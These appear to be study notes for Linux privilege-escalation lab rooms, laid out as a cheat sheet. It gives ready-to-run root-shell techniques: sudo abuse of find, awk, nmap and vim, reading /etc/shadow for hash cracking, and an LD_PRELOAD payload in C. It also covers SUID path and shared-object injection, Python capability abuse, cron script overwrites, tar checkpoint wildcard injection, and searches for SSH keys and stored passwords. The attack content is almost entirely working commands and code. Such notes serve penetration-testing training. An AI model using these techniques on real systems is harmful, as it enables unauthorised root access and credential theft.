Rooms

• Linux PrivEsc Arena
• Linux PrivEsc

Be flexible and diligent in your checks. Most of these are just examples and you don't have to follow them word-for-word. Check other services, other files, use these as an example.

File Permissions

Look for system files or service files that may be writeable

SUDO

• If the user has sudo privileges on any or all binaries
• Check here for possible escalation vectors: https://gtfobins.github.io
• Some other examples of sudo abuse

Shell Execution

Some examples of how sudo enabled binaries can be abused to start a root shell.

sudo find /bin -name nano -exec /bin/sh \;
sudo awk 'BEGIN {system("/bin/sh")}'
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
sudo vim -c '!sh'

Reading System Files

Example of how a sudo enabled command could be used to read a protected file.

sudo apache2 -f /etc/shadow
# Copy root hash and attempt to crack with john

LD_Preload

• Run sudo -l
• If LD_PRELOAD environment variable is set
• Create a file called whatever.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

• Compile it

gcc -fPIC -shared -o /tmp/whatever.so whatever.c -nostartfiles

• Load it

sudo LD_PRELOAD=/tmp/whatever.so apache2

SUID

Binary Environment Variables

• Find SUID binaries

find / -type f -user root -perm /4000 -ls 2>/dev/null

• If the SUID program is trying to load a program, you may be able add a program with the same name and inject it using path precedence
• Or, you may be able to overwrite the target program
• Use the strings program to inspect the SUID binary for any program paths

strings /path/to/suid/binary

• Make a note of the program name it's trying to load
• If the SUID binary is trying to load a program by its relative path, then it should be vulnerable to attack

• For clarification:
  • An absolute path is something like: /usr/bin/bash
  • A relative path is something like: bash

Method 1

• Bash <4.2-048 only
• Check bash version /bin/bash --version

# Create a function with the same name as the service dependency
function /path/to/programname() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

# Export the function into the shell environment
export -f /path/to/programname

• Run the SUID binary again

Method 2

# Set /bin/bash as a SUID and SGID binary
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/servicename.c

• Compile it. Be sure to change program-name to the target program's name.

gcc /tmp/program-name.c -o /tmp/programname

# Path injection
export PATH=/tmp:$PATH

• Run the SUID binary again.
• Since you're putting /tmp first in the PATH variable, this is going to cause the SUID binary to find the the program in the /tmp directory first

Method 3

• Check the permissions of the target program

which program-name
ls -l /path/to/program

• If your user account or a group you're a member of has write permissions, you should be able to overwrite the target program with a malicious program

Shared Object Injection

• Find SUID binaries

find / -type f -user root -perm /4000 -ls 2>/dev/null

• Test the binaries for missing libraries

strace /path/to/suid/binary 2>&1 | grep -i -E "open|access|no such file"

• If there are any .so libraries missing, they may be injectable
• Note the filename.so that is missing
• Note directory where the library should be and check if it's writeable
• Create a filename.c

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

• Compile it. Place the .so library in the correct path.

gcc -shared -fPIC /tmp/filename.c -o /tmp/filename.so

Capabilities

• Check capabilities
• Depending on the capability set, you may be able to use Python to escalate privilege

Example 1: cap_chown+ep

getcap -r / 2>/dev/null

# In this example, Python has the capability to change ownership of files
/usr/bin/python3.8 = cap_chown+ep

# Change ownership of the /etc/passwd file to your UID and GID
python3.8 -c 'import os;os.chown("/etc/passwd",<uid>,<gid>)

Example 2: cap_setuid

getcap -r / 2>/dev/null

# In this example, Python has the capability to set SUID bits on files
/usr/bin/python2.6 = cap_setuid

# Set the SUID bit on /bin/bsah with root as the owner
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Scheduled Tasks

Writeable Scripts

• If a cron task is running as root and the script is writeable
• Can overwrite the script with new contents to be run as root

Cron Path Injection

cat /etc/crontab

• If cron is loading scripts from a writable directory, create or overwrite a script

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /writeable/dir/script.sh
chmod +x /writeable/dir/script.sh

• Wait for cron to execute and load bash

/tmp/bash -ip

Abusing Scripts

Example: tar

If a script is using tar -cf /path/* wildcards

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /path/script.sh
touch /path/--checkpoint=1
touch /path/--checkpoint-action=exec=sh\ script.sh

SSH Keys

find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null

• Both of these may indicate the presence of a public SSH key
• Could match up to a private SSH key for a user account

Stored Passwords

Configuration Files

• Check in configuration files for stored password
• Common directories

/etc
/var
/home
/opt

Terminal History

• Check the terminal history if running under a user session
• Also grep in home directories containing terminal history cache files

Kernel Exploits

• Use the output from uname -a and Google around for a vulnerabilties
• Enumeration scripts might indicate a vulnerable kernel version